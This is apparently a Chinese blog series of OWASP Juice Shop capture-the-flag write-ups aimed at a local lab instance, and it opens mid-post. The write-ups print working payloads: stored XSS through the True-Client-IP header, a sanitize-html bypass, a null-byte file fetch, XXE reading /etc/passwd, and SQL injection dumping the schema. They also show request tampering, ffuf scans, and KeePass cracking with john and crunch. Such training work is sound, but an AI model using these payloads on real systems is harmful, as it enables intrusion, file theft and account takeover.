在 Burp Suite 的 Repeater 中修改请求，并发送

步骤5：验证商品已添加到购物车

访问购物车页面，查看已删除的圣诞节商品是否成功添加。

步骤6：完成结账流程

进入购物车
点击"结账"按钮
填写收货地址和支付信息
提交订单（可以使用虚假的信用卡信息）

挑战完成！ 🎉

参考

OWASP Juice Shop 官方解决方案 - Christmas Special

【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击

Thu, 16 Apr 2026 00:00:00 +0000

【juice-shop】★★★★ HTTP-Header XSS：通过 HTTP 头部进行存储型 XSS 攻击

0x01 任务简报

🎯 挑战目标
使用 <iframe src="javascript:alert(`xss`)"> 代码通过 HTTP 头部进行存储型 XSS 攻击。

💡 官方提示 (Hints)
1. 寻找可能显示在 HTTP 头部中的信息是这一挑战的一部分。
2. 你可能需要研究一些不常见甚至专有的 HTTP 头部字段，才能找到突破点。
3. 雪上加霜的是，你需要的 HTTP 头信息永远不会由应用程序自行发送。

HTTP 头部注入

某些应用会将 HTTP 请求头部的值存储到数据库，如果没有进行适当的验证和转义，就可能导致 XSS 攻击。

常见容易被滥用的头部：

头部	说明
`X-Forwarded-For`	代理转发的原始客户端 IP
`True-Client-IP`	真实客户端 IP（某些 CDN 使用）
`X-Client-IP`	客户端 IP
`User-Agent`	用户代理信息
`Referer`	来源页面

步骤1：注册账户并登录

访问应用首页
注册一个新账户
使用该账户登录

步骤2：使用 Burp Suite 抓包分析

打开 Burp Suite 的 Proxy 模块
登录账户
在 HTTP 历史记录中查找与登录相关的请求

关键发现： 存在一个 /rest/saveLoginIp 端点，用于记录用户登录时的 IP 地址。

步骤3：测试 X-Forwarded-For 头部

在 Burp Suite 的 Repeater 模块中：

选择 /rest/saveLoginIp 请求
添加 X-Forwarded-For 头部：
1

X-Forwarded-For: 1.2.3.4
发送请求

结果： 登录后查看用户资料，IP 地址没有更新。

分析： 应用可能不识别 X-Forwarded-For 头部。

步骤4：测试 True-Client-IP 头部

尝试使用 True-Client-IP 头部：

`1`	`True-Client-IP: 1.2.3.4`

结果： 登录后查看用户资料，IP 地址成功更新为 1.2.3.4！

关键发现： 应用正在读取 True-Client-IP 头部并将其存储到数据库。

步骤5：构造 XSS Payload

既然应用会存储 True-Client-IP 头部的值，我们可以注入恶意代码。

Payload：

`1`	<iframe src="javascript:alert(`xss`)">

步骤6：执行存储型 XSS 攻击

先退出账户
找到 /rest/saveLoginIp 请求

修改 True-Client-IP 头部为恶意 Payload：

`1`	True-Client-IP: <iframe src="javascript:alert(`xss`)">

发送请求

步骤7：触发 XSS 攻击

重新登录账户
进入用户个人资料页面
查看"最后登录 IP"字段

结果： 浏览器执行了 iframe 中的 JavaScript 代码，弹窗显示 xss，挑战完成！

参考

OWASP Juice Shop 官方解决方案 - HTTP-Header XSS

【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击

Thu, 16 Apr 2026 00:00:00 +0000

【juice-shop】★★★★ Server-side XSS Protection：绕过服务端安全措施进行存储型 XSS 攻击

🎯 挑战目标
使用 <iframe src="javascript:alert(`xss`)"> 代码绕过服务端安全措施进行存储型 XSS 攻击。

💡 官方提示 (Hints)
1. 您要重点关注"客户反馈"页面中的"注释"字段。
2. 在"联系我们"界面的"评论"字段中，您需要重点关注此处。
3. 攻击有效负载 <iframe src="javascript:alert(`xss`)"> 不会被任何验证器拒绝，但在持久化之前会被从评论中移除。
4. 在您之前收集的 package.json.bak 文件中查找可能与输入处理相关的依赖项。
5. 如果出现了 XSS 警告，但挑战在记分板上未显示为已解决，可能是您未能将精确的攻击字符串 <iframe src="javascript:alert(`xss`)"> 正确注入数据库。

前置条件

sanitize-html 库的漏洞

sanitize-html 是一个流行的 HTML 清理库，用于防止 XSS 攻击。但早期版本（如 1.4.2）存在一个严重漏洞：非递归清理。

漏洞原理：

输入: <<img src="csrf-attack"/>img src="csrf-attack"/>
第一次清理: <img src="csrf-attack"/>
（删除了第一个 <，但没有递归检查）
结果: 恶意标签仍然存在！

开始

第1步

首先，拿到package.json.bak，使用 Poison Null Byte 获取这个文件

`1`	`http://127.0.0.1:3000/ftp/package.json.bak%2500.md`

工作原理：

%25 = URL 编码的 %
%00 = URL 编码的空字节 \0
%2500 = 双重编码的空字节
服务器解码后：package.json.bak\0.md
文件系统在 \0 处截断，实际访问：package.json.bak

第2步

这个文件里面藏着一个存在漏洞的依赖 “sanitize-html”: “1.4.2”，对于现状来说还是问ai的快，不过可能会有幻觉。

第3步

我们回到客户反馈，输入题目给的xss，提交

完成挑战！

到关于我们页面验证，向右滑动到有这个白框的页面，等一会会出现弹窗

【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志

Tue, 14 Apr 2026 17:45:00 +0000

【juice-shop】★★★★ Access Log：通过目录扫描获取服务器访问日志

0x01 任务简报

🎯 挑战目标
获取访问服务器上任何访问日志文件的权限。

💡 官方提示 (Hints)
1. 谁想要通过web应用程序访问服务器访问日志？
2. 通常情况下，服务器日志文件被写入服务器端的磁盘，不能从外部访问。
3. 您在"访问机密文档"挑战中可能已经发现的文件夹中的一个特定文件可能会让您知道谁对这种公开暴露感兴趣。
4. 深入文件系统一层可能还不够。

0x02 线索分析

提示解读

提示	含义	推论
提示1	谁想要访问日志？	support 用户 (支持团队)
提示2	日志在服务器磁盘，不能外部访问	需要通过应用暴露的接口访问
提示3	“访问机密文档"中发现的文件夹	/ftp/ 路径，可能有线索文件
提示4	深入一层不够	不是 `/logs`，而是 `/FUZZ/logs` 模式

关键发现

前置挑战: 访问机密文档
  ↓
发现: /ftp/ 目录
  ↓
推论: support 用户对日志感兴趣
  ↓
目标: /support/logs 路径

0x03 解题过程

步骤1：理解挑战本质

我的问题分析：

❌ 不需要完成 6 星挑战 “Login Support Team”（虽然有关联）
✅ 这是一个 4 星难度的目录扫描挑战
✅ 关键在于理解提示，推断出正确的路径模式

核心洞察：

1
2

日志路径模式: /[某个目录]/logs
其中[某个目录]应该是: support, admin, api, backup 等

步骤2：构建 ffuf 扫描命令

反向扫描策略： 不是扫描 /FUZZ，而是扫描 /FUZZ/logs，这样可以：

直接找到包含日志的目录
减少噪音（SPA 默认页面）
提高效率

扫描命令：

ffuf -u http://127.0.0.1:3000/FUZZ/logs \
  -w /usr/share/wordlists/dirb/common.txt \
  -o dir1.csv \
  -of csv

参数说明：

参数	说明
`-u`	目标 URL，FUZZ 为占位符
`-w`	字典文件（dirb/common.txt）
`-o`	输出文件名
`-of csv`	输出格式为 CSV

步骤3：分析扫描结果

筛选条件：

`1`	`status_code ≠ 200 AND content_length ≠ 75002`

原因：

status_code = 200 且 content_length = 75002 = SPA 默认页面（无效）
排除这些结果，找到真实的日志路径

扫描结果示例：

关键发现：

`1`	`support/logs [Status: 200] [Size: 不等于75002]`

步骤4：访问日志文件

URL：

`1`	`http://127.0.0.1:3000/support/logs`

操作：

在浏览器中访问上述 URL
下载日志文件
完成挑战

0x04 深度思考

为什么这个方法有效？

1. 理解 SPA 应用的特性

普通请求 /support
  ↓
返回 index.html (200, 75002 bytes)
  ↓
浏览器加载 JavaScript
  ↓
JS 执行时报错（模块加载失败）
  ↓
Console 显示错误信息

2. 浏览器 vs 扫描工具的区别

特性	浏览器	ffuf
JavaScript 执行	✅	❌
DOM 渲染	✅	❌
错误日志	✅ 显示在 Console	❌ 无法看到
响应内容	✅ 完整	✅ 原始 HTML

3. 为什么不需要 “Login Support Team”？

✅ /support/logs 路径不需要认证即可访问
✅ 这是一个配置错误（Security Misconfiguration）
✅ 支持团队的凭据只在其他挑战中需要

可观测性故障的真正解法

虽然不是必需的，但以下方法可以增强推论：

方法1：浏览器 Console 错误

访问 /support
  ↓
Console 显示模块加载失败
  ↓
推断 /support 路由存在
  ↓
进一步推断 /support/logs 可能存在

方法2：检查 Location Header

1
2

curl -i http://127.0.0.1:3000/support
# 查看是否有 Location: /support/ 重定向

方法3：对比响应内容

1
2

# /support 和 /support/ 返回相同大小，但有重定向
# 这是 SPA 路由的特征

0x05 总结

关键要点

要点	说明
解题思路	大胆猜想，小心求证
核心技巧	反向扫描 `/FUZZ/logs` 而不是 `/FUZZ`
关键发现	`/support/logs` 路径无需认证即可访问
漏洞类型	Security Misconfiguration（安全配置错误）
前置条件	无（不需要完成 6 星挑战）

参考

附录：完整命令参考

ffuf 扫描命令

# 基础扫描
ffuf -u http://127.0.0.1:3000/FUZZ/logs \
  -w /usr/share/wordlists/dirb/common.txt \
  -o dir1.csv \
  -of csv

# 带认证的扫描（如果需要）
ffuf -u http://127.0.0.1:3000/FUZZ/logs \
  -w /usr/share/wordlists/dirb/common.txt \
  -H "Cookie: token=YOUR_TOKEN" \
  -H "Referer: http://127.0.0.1:3000/" \
  -o dir1.csv \
  -of csv \
  -fs 75002 \
  -t 50 \
  -v

curl 验证命令

# 检查 /support/logs 是否存在
curl -i http://127.0.0.1:3000/support/logs

# 下载日志文件
curl -o access.log http://127.0.0.1:3000/support/logs

【juice-shop】★★★★★★ Login Support Team：通过 KeePass 字典爆破获取密码

Mon, 13 Apr 2026 02:48:00 +0000

0x01 任务简报

💡 提示 (Hints)
1. 这一挑战的根本原因是人为错误远远多于技术缺陷。
2. 支持团队位于低成本国家，且团队结构波动剧烈——员工们稍有机会获得薪资稍高的职位就会离职。
3. 为防止滥用，支持团队账户本身的密码实际上非常强。
4. 为便于事件发生时快速响应，支持团队采用第三方工具，所有支持工程师均可通过该工具获取当前账户密码。
5. 虽然也可以通过 SQL 注入以支持团队身份登录，但这无法解决该挑战。

首先我们到 http://127.0.0.1:3000/ftp/ ，下载 incident-support.kdbx 文件（我直接点击文件进行下载的，似乎没有副作用？）

处理文件

`1`	`❯ john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt ./support.txt`

❯ john --wordlist=/usr/share/wordlists/rockyou.txt ./support.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 1 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 DONE (2026-04-12 01:45) 0g/s 4496Kp/s 4496Kc/s 4496KC/s            ..*7¡Vamos!
Session completed.

emmmm，无效，对吧

回到main.js，搜索support，

依旧无果

.kdbx 是 KeePass 的文件后缀

我这里没有对应的password文件（应该日常手机字典的）漫长的john破解中……

一夜过去了没有破解

看来是密码本有一点问题

再回到main.js 想起之前忽略的地方

那行注释

这里使用 suport@ 搜索是因为之前所有内容，只有这里有关@，使用support@搜索节约时间

这里疑似是密码生成方式

`1`	`/(?=.[a-z])(?=.[A-Z])(?=.\d)(?=.[@$!%?&])[A-Za-z\d@$!%?&]{12,30}/`

分析这个密码生成要求

要求	说明
`(?=.*[a-z])`	必须包含至少 1 个小写字母
`(?=.*[A-Z])`	必须包含至少 1 个大写字母
`(?=.*\d)`	必须包含至少 1 个数字
`(?=.[@$!%?&])`	必须包含至少 1 个特殊字符
`[A-Za-z\d@$!%*?&]{12,30}`	长度 12-30 位，仅允许这些字符

这个要求生成命令如下

`1`	`crunch 12 30 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@$!%*?&' > passwords.txt`

结果可能有8亿以上的组合，明显不对，这样破解时间代价太大

先尝试将题目Login Support Team 单词加入到密码，如下

Login@@@@@@@
Support@@@@@@
Team@@@@@@@@@

降低密码复杂度，长度12位排除字母

`1`	`crunch 12 12 '0123456789@$!%*?&' -t 'Login@@@@@@@' > passwords.txt`

`1`	`crunch 12 12 '0123456789@$!%*?&' -t 'Support@@@@@' > passwords.txt`

`1`	`crunch 12 12 '0123456789@$!%*?&' -t 'Team@@@@@@@@' > passwords.txt`

这三条生成字典大小分别是：4 GB、17 MB、84 GB

`1`	`❯ crunch 12 12 '0123456789@$!%*?&' -t 'Support@@@@@' > support_passwords_wordlist.txt`

这里我之前的文件乱了删除了一下，重新生成一个密码hash文件

`1`	`keepass2john incident-support.kdbx > incident-support.kdbx.txt`

使用john 进行爆破（这里我发现john会自动识别KeePass 格式所以没有进行format选择）

得到密码Support2022!进行登录

( •̀ ω •́ )y 耶，成功登录，选中第一行<C-v> 复制一下

回到网页尝试登录

1
2

support@juice-sh.op
J6aVjTgOpRs@?5l!Zkq2AYnCE@RF$P

成功！！！

总结

关于过程，这道题6星，使用SQL注入登录无效，且完全在我的能力之外，本篇就是完全是实践笔记，也是第一个完成的6星挑战，过程比较曲折，一开始的尝试完全是猜，直到最后大多数内容都是猜，我比较讨厌猜内容，好多部分都是尝试，试试这个方法能不能爆破，试试这个密码是不是对的，即使看过wp，一些具体的操作也很难

关于解题过程，我认为密码字典的构建过程是最麻烦复杂的，字典这种东西需要日常进行积累，需要针对目标进行调整，还需要不停的猜，从12-30 长度先猜12长度，猜猜密码字符结构，并进行尝试，才有可能做出来，付出与收获可能完全不对等。

这个挑战用了一个周六和周末，也只是回归安全的康复训练而已，之后可能需要投入到到处找真实bug积累经验和直觉的过程了。

参考

【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单

Sun, 12 Apr 2026 00:00:00 +0000

【juice-shop】★★★★ Allowlist Bypass：绕过 URL 重定向白名单

0x01 任务简报

💡 提示 (Hints)
1. 必须找到一种方法来绕过允许重定向的 URL 列表。
2. 在 OWASP Juice Shop 中，可以找到多个发生重定向的位置。
3. 应用程序仅允许重定向至允许列表（白名单）中的 URL。
4. 篡改重定向机制可能会获得关于其底层工作原理的宝贵信息。

0x02 实战：复现漏洞

🔍 第一步：找到重定向功能

在应用中找到会进行 URL 重定向的功能，例如外部链接跳转。

📤 第二步：抓包并发送到 Repeater

使用 Burp Suite 拦截重定向请求，将其发送到 Repeater 进行修改。

💉 第三步：尝试直接修改 URL（失败）

直接修改重定向 URL 为非白名单地址（如 http://www.baidu.com），服务器会拒绝并返回错误。

错误原因： 服务器验证了 URL 是否在允许列表中。

✅ 第四步：完成挑战

尝试在原来链接的前面或者后面加上一个地址参数，虽然还是失败，但是挑战完成了（？）

【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件

Fri, 10 Apr 2026 17:55:00 +0000

【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件

0x01 任务简报

💡 提示 (Hints)
1. 这项挑战的关键点是废弃的 B2B 接口。
2. 这个挑战听起来比实际要难得多，这更凸显了其潜在漏洞的严重性。
3. 研究典型的 XXE 攻击模式，基本上就能免费获得解决方案。

0x02 实战：复现漏洞

📝 第一步：构造 XXE Payload

创建一个 XML 文件，包含 XXE（XML 外部实体）攻击 payload：

`1`	`❯ vim 1.xml`

文件内容：

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<xxe>&xxe;</xxe>

Payload 说明：

部分	说明
`<!DOCTYPE xxe [...]>`	定义文档类型和实体
`<!ENTITY xxe SYSTEM "file:///etc/passwd">`	关键：定义外部实体，指向 `/etc/passwd` 文件
`<xxe>&xxe;</xxe>`	在 XML 中引用该实体，触发文件读取

📤 第二步：上传 XXE 文件

打开投诉（Complaint）表单，选择刚创建的 1.xml 文件进行上传。

🔍 第三步：查看响应

打开浏览器开发者工具（DevTools），查看网络请求：

`1`	`XHR POST http://127.0.0.1:3000/file-upload`

在响应或错误信息中，服务器会返回 /etc/passwd 文件的内容。

✅ 第四步：完成挑战

成功读取服务器上的敏感文件内容，挑战完成。

【juice-shop】★★★ Security Advisory：提交安全公告校验和

Fri, 10 Apr 2026 00:00:00 +0000

【juice-shop】★★★ Security Advisory：提交安全公告校验和

0x01 任务简报

💡 提示 (Hints)
1. 安全公告通常列于 security.txt 文件中。

0x02 实战：复现漏洞

📄 第一步：访问 security.txt

根据提示，安全公告信息通常在 security.txt 文件中。访问标准位置：

`1`	`http://127.0.0.1:3000/.well-known/security.txt`

🔗 第二步：查找 CSAF 提供商元数据

security.txt 文件中指向 CSAF（Common Security Advisory Framework）提供商元数据：

`1`	`http://localhost:3000/.well-known/csaf/provider-metadata.json`

📂 第三步：浏览 CSAF 目录

访问 CSAF 根目录，查看可用的安全公告：

`1`	`http://localhost:3000/.well-known/csaf/`

📋 第四步：查看特定年份的公告

选择一个年份（如 2017）查看该年的安全公告：

`1`	`http://localhost:3000/.well-known/csaf/2017`

🔐 第五步：下载校验和文件

找到相关的 .sha512 校验和文件并下载，查看其内容。

📝 第六步：提交校验和

进入客户反馈页面，将下载的校验和内容复制并提交。

✅ 第七步：完成挑战

成功提交校验和作为尽职调查证明，挑战完成。

📚 相关知识

security.txt 标准

RFC 9116 定义了 security.txt 文件的标准位置和格式：

`1`	`/.well-known/security.txt`

常见字段：

字段	说明
`Contact`	安全联系方式
`Expires`	文件过期时间
`Preferred-Languages`	首选语言
`Canonical`	规范 URL
`Policy`	安全政策链接
`Acknowledgments`	致谢页面

CSAF 标准

CSAF 2.0 是一个用于发布安全公告的标准框架，包含：

provider-metadata.json — 提供商信息和公告索引
年份目录 — 按年份组织的安全公告
.sha512 文件 — 公告的加密校验和

参考

【juice-shop】★★★ Upload Size：上传超大文件绕过限制

Fri, 10 Apr 2026 00:00:00 +0000

【juice-shop】★★★ Upload Size：上传超大文件绕过限制

0x01 任务简报

💡 提示 (Hints)
1. 在"投诉"表单中附加一个小文件，调查此上传实际上是如何工作的。
2. 首先，尝试理解文件上传在客户端和服务器端是如何实际处理的。
3. 基于这种理解，在正确的位置找到一个"薄弱点"，并精心设计一个漏洞利用方案。

0x02 实战：复现漏洞

🔍 第一步：登录并进入投诉表单

先登录，找到投诉界面，抓包，正常上传一次文件，捕获请求包，发送到重放器

📤 第二步：正常上传文件并抓包

选择一个小文件（如 SVG 图片）进行上传，使用 Burp Suite 拦截请求。

将请求发送到 Repeater 进行后续修改。

📝 第三步：查看文件内容

随便查看被上传文件的原始内容，例如一个 SVG 文件：

`1`	`❯ cat 2.svg`

💉 第四步：绕过大小限制

在 Repeater 中，找到请求体中的文件内容部分，将其内容重复复制多次（如复制 30-50 遍），使总文件大小超过 100 kB。

✅ 第五步：完成挑战

发送修改后的请求，成功上传超过 100 kB 的文件，挑战完成。

总结

典型的前端进行了验证，但是后端没有做第二次验证，前端传的所有数据都是不可信的……

【juice-shop】★★★ Upload Type：绕过文件类型限制

Fri, 10 Apr 2026 00:00:00 +0000

【juice-shop】★★★ Upload Type：绕过文件类型限制

0x01 任务简报

💡 提示 (Hints)
1. 在"投诉"表单中附加一个 PDF 或 ZIP 文件，调查此上传实际上是如何工作的。
2. 若已解决"上传大于 100 kB 的文件"挑战，不妨尝试在此处应用相同的解决方案。

0x02 实战：复现漏洞

🔍 第一步：进入投诉表单

登录账户，导航至投诉（Complaint）表单页面。

📤 第二步：正常上传文件

尝试上传一个 PDF 或 ZIP 文件，前端会验证文件扩展名。

前端仅允许上传 .pdf 或 .zip 扩展名的文件。

🔍 第三步：抓包并发送到 Repeater

使用 Burp Suite 拦截上传请求，将请求发送到 Repeater。

💉 第四步：删除文件扩展名

在 Repeater 中，找到请求体中的文件名字段，删除文件扩展名（如将 1.zip 改为 1）。

✅ 第五步：完成挑战

发送修改后的请求，成功上传不符合扩展名要求的文件，挑战完成。

【juice-shop】★★★ Reset Jim's Password：通过 OSINT 重置密码

Thu, 09 Apr 2026 17:12:00 +0000

【juice-shop】★★★ Reset Jim’s Password：通过 OSINT 重置密码

0x01 任务简报

💡 提示 (Hints)
1. 这项挑战最困难的部分，其实是弄清楚 Jim 究竟是谁。
2. Jim 选了最糟糕的安全问题之一，还选择如实作答。
3. 由于 Jim 是名人，他的问题答案在互联网上公开可查的信息中很容易找到。
4. 即使采用暴力破解法，只要使用正确的词表，也应该能够得出答案。

0x02 实战：复现漏洞

📧 第一步：获取目标邮箱

从商店的商品评论中找到 Jim 的评论，获取其登录邮箱：

`1`	`jim@juice-sh.op`

🔐 第二步：获取安全问题

在忘记密码页面输入 Jim 的邮箱，系统显示安全问题：

你最年长的兄弟姐妹的中间名？

🔍 第三步：识别 Jim 的真实身份

又到了最讨厌的 OSINT 环节了……

who is jim

最后查看了攻略……找到了jim是谁，线索得自己拼……多关注一下他的评论就能拼出答案

https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_reset_jims_password_via_the_forgot_password_mechanism

📖 第四步：查找安全问题答案

一旦确定了 Jim 的真实身份，他最年长兄弟姐妹的中间名就可以通过公开信息查找到。

最终答案：

Samuel

✅ 第五步：重置密码

在忘记密码页面填写：

邮箱：jim@juice-sh.op
安全问题答案：Samuel
新密码：（自定义）

提交表单，成功重置 Jim 的密码，挑战完成。

参考

https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_reset_jims_password_via_the_forgot_password_mechanism

【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL

Thu, 09 Apr 2026 15:53:00 +0000

【juice-shop】★★★ Privacy Policy Inspection：通过隐私政策找到隐藏 URL

0x01 任务简报

💡 提示 (Hints)
1. 只有访问了一个特殊的 URL，你才能确认你仔细阅读了它。
2. 首先，你显然需要解决"阅读我们的隐私政策"这个挑战。
3. 使用鼠标光标来锁定当前阅读的段落是完全可以的。
4. 若在政策中发现某些特别敏感的条款，不妨将它们熔铸融合——正如你可能已经发现的那样，运用高级密码分析技术来寻找真正的彩蛋。

前置条件： 需要登录，并完成 Privacy Policy 挑战。

0x02 实战：复现漏洞

📖 第一步：仔细阅读隐私政策

首先，暗示我们线索在隐私政策里面，需要”仔细阅读“

那么我们进行”仔细阅读“

这里其实是一个小习惯，使用鼠标光标和视线进行阅读，但是我这么阅读习惯把前面的内容使用光标选择划起来，这里有一个很细微的火焰特效，没看到（雾

🔍 第二步：发现隐藏的 CSS 特效

于是我打开了F12，在一开始的127.0.0.1有一个很浅显的特效，应该是hot这个css的特效：

🔎 第三步：提取隐藏文本

那么直接搜索hot css，然后将内容拼接成一句话：

`1`	`We may also instruct you to refuse all reasonably necessary responsibility`

完整的隐藏信息为：

`1`	`http://127.0.0.1 We may also instruct you to refuse all reasonably necessary responsibility`

意义不明

🔗 第四步：拼接隐藏 URL

根据提示中的"熔铸融合"，将隐藏文本与基础 URL 拼接，形成完整的访问链接：

`1`	`http://127.0.0.1:3000/we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility`

✅ 第五步：完成挑战

访问拼接后的 URL，即使返回 404，系统也会识别你已访问了正确的隐藏链接，挑战自动完成。

……

脑筋急转弯说是
访问正确链接 404 说是
给个纯文字也好啊喂

【juice-shop】★★★ Login Amy：通过 OSINT 推断密码

Thu, 09 Apr 2026 11:01:00 +0000

0x01 任务简报

💡 提示 (Hints)
1. 这一挑战将使您陷入大海捞针。
2. 正如《飞出个未来》中众多角色那样，这个挑战当然是要求以剧中 Amy 的身份登录。
3. 您是否知道 Amy 与一个名叫 Kif 的外星人结婚？
4. 挑战说明中包含几句话，透露了 Amy 决定如何加强密码的信息。
5. 显然，Amy——这个有点迟钝的姑娘——在选择密码时根本没花多少心思，更谈不上什么创意。

0x02 实战：复现漏洞

🎯 关键信息分析

题目提示的核心线索：

《飞出个未来》角色 — Amy Wong 是剧中角色
丈夫 Kif — Amy 在剧中与外星人 Kif 结婚
密码强化 — 题目暗示密码包含某种强化模式
缺乏创意 — Amy 的密码设置简单直接

直接给结果，如下

💻 登录凭据

1
2

邮箱：amy@juice-sh.op
密码：K1f.....................

其中 ..................... 表示重复的点号或其他字符，用于满足密码长度要求。

✅ 完成挑战

使用上述凭据登录，挑战完成。

……

首先，我讨厌 OSINT，其次，我认为这题没有意义，最后，不如直接看官方的答案……

参考

https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_log_in_with_amys_original_user_credentials

【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品

Thu, 09 Apr 2026 00:00:00 +0000

【juice-shop】★★★ Manipulate Basket：向他人购物车添加商品

0x01 任务简报

💡 提示 (Hints)
1. 在将商品放入购物车时，请留意 HTTP 流量。
2. 向他人购物车添加更多相同商品的行为不构成解决方案。同样地，从他人购物车中窃取商品也不行。
3. 这项挑战需要比同类挑战更复杂的篡改手段。

0x02 实战：复现漏洞

📝 第一步：注册两个测试账户

账户 1：
1@1.com / 11111

账户 2：
2@2.com / 22222

🔍 第二步：抓取购物车请求

打开 Burp Suite，分别用两个账户各添加一次商品到购物车，捕获请求包。

📊 第三步：分析请求体

观察请求体内容，包含以下关键字段：

ProductId — 商品 ID
BasketId — 购物车 ID
quantity — 数量

当前状态：

用户 1 的 BasketId：6
用户 2 的 BasketId：7

💉 第四步：利用 JSON 参数污染

使用用户 2 的身份，将请求发送到 Repeater。直接修改 BasketId 为用户 1 的购物车 ID（6）会返回 401 错误。

关键技巧： 使用 JSON 参数污染，在请求体中重复添加 BasketId 字段：

{
    "ProductId": 1,
    "BasketId": 7,
    "BasketId": 6,
    "quantity": 1
}

当 JSON 解析器遇到重复的键时，通常会使用最后一个值（6），从而绕过购物车所有权验证。

发送请求，成功向用户 1 的购物车添加商品。

✅ 第五步：完成挑战

成功向他人购物车添加商品，挑战完成。

总结

这个挑战的核心在于 JSON 参数污染：

技巧	说明
重复参数	在 JSON 中重复定义同一个键
解析器行为	不同的 JSON 解析器处理重复键的方式不同
绕过验证	后端验证使用第一个值，但处理时使用最后一个值
第一时间没想起来有这个操作，看来还是经验太少了……

继续某位可爱大佬的教诲培养直觉（

参考

https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_put_an_additional_product_into_another_users_shopping_basket

【juice-shop】★★★ Payback Time：通过负数数量获利

Thu, 09 Apr 2026 00:00:00 +0000

【juice-shop】★★★ Payback Time：通过负数数量获利

0x01 任务简报

提交一个让你变得更富有的订单。

0x02 实战：复现漏洞

💡 前置思路

让商品单价在结算的时候变成负数
让商品数量在结算的时候变成负数

这会导致订单总额为负，系统反向扣款，用户反而获得金额。

💰 第一步：充值钱包余额

首先，从不存在的信用卡搞点钱

🛒 第二步：正常购买一次商品

添加商品到购物车，进行一次正常的购买流程，捕获请求包。

📊 第三步：分析请求参数

观察请求体中的关键参数：

ProductId — 商品 ID
BasketId — 购物车 ID
quantity — 数量（关键字段）

💉 第四步：篡改数量为负数

将请求发送到 Repeater，修改 quantity 字段为负数（如 -1）：

{
    "ProductId": 1,
    "BasketId": 6,
    "quantity": -1
}

发送请求，成功在购物车中添加负数数量的商品。

💵 第五步：结账获利

查看购物车，订单总额已变为负数。

进行结账，系统反向扣款，账户余额增加，挑战完成。

【juice-shop】★★★ Product Tampering：篡改商品描述链接

Thu, 09 Apr 2026 00:00:00 +0000

【juice-shop】★★★ Product Tampering：篡改商品描述链接

0x01 任务简报

更改 OWASP SSL 高级取证工具（O-Saft）中链接的 href 为 https://owasp.slack.com。

0x02 实战：复现漏洞

🔍 第一步：定位目标商品

开启bp抓包

在商店中搜索或点击题目中的 O-Saft 商品链接。

从请求包上面来看这个商品id可能为9

🔑 第二步：发现 API 端点

这里需要前面挑战查到到的api（如果没有，那么可以看看main.js里面列出api，一个个先试试，看看返回什么）

使用PUT方法，将以下内容当作结构体写入进请求包，api是/api/products/9，9是商品id

`1`	`PUT /api/products/9`

💉 第三步：篡改商品描述

使用 Burp Suite 或 Postman，向 /api/products/9 发送 PUT 请求，请求体包含修改后的描述：

请求方法： PUT

请求 URL： http://127.0.0.1:3000/api/products/9

请求体（JSON）：

1
2
3

{
    "description": "<a href=\"https://owasp.slack.com\" target=\"_blank\">More...</a>"
}

发送请求，服务器返回成功响应。

✅ 第四步：验证修改

重新访问 O-Saft 商品页面，确认描述中的链接已更改为 https://owasp.slack.com，挑战完成。

【juice-shop】★★★ Forged Review：伪造他人商品评论

Wed, 08 Apr 2026 17:30:00 +0000

【juice-shop】★★★ Forged Review：伪造他人商品评论

0x01 任务简报

以另一个用户名义发布商品评论或编辑已有的用户评论。

0x02 实战：复现漏洞

🔍 第一步：抓取评论请求

……

打开 Burp Suite，登录一个账户，对某个商品进行评论，捕获评论提交请求。

💉 第二步：篡改 author 字段

……

将请求发送到 Repeater，在请求体中找到 author 字段，将其改为其他用户的名称。

✅ 第三步：完成挑战

……

发送修改后的请求，成功以他人身份发布商品评论，挑战完成。

……

告诉我这有 3 星难度？？？

【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构

Wed, 08 Apr 2026 15:10:00 +0000

【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构

0x01 任务简报

通过 SQL 注入获取整个数据库结构。

0x02 实战：复现漏洞

🔍 第一步：发现 SQL 注入点

这个实际上没有一点思路，一开始我认为可能是搜索框那里有注入点，但是回显正常……

看了一下攻略，原来在进行搜索的时候，调用了一个请/rest/products/search?q=，这里有SQL回显……

个人认为，SQL注入，只要有回显（或者盲注反应），那就不是很麻烦

💉 第二步：测试注释和闭合

尝试基础的 SQL 注入语法，闭合原有查询并注释后续语句：

1'))--

📊 第三步：确定列数

使用 ORDER BY 逐步增加列数，找出查询的确切列数：

`1`	`1'))order+by+9--`

确认查询包含 9 列。

🎯 第四步：UNION SELECT 回显位置

构造 UNION SELECT 语句，确定各列在响应中的回显位置：

`1`	`1'))union+select+1,2,3,4,5,6,7,8,9--`

🗄️ 第五步：识别数据库类型并查询结构

根据回显，确认使用的是 SQLite 数据库。SQLite 将所有表定义存储在 sqlite_master 系统表中。

构造查询语句，从 sqlite_master 表中提取所有 SQL 定义：

`1`	`1'))union+select+1,2,3,4,5,6,7,8,sql+from+sqlite_master--`

✅ 第六步：完成挑战

成功获取整个数据库的 schema 定义，挑战完成。

🔧 修复建议

找到它

第 5 行，关于 SQL 注入的直接找是不是 SQL 拼接了语句，审计一下就行

修复它

Fix1
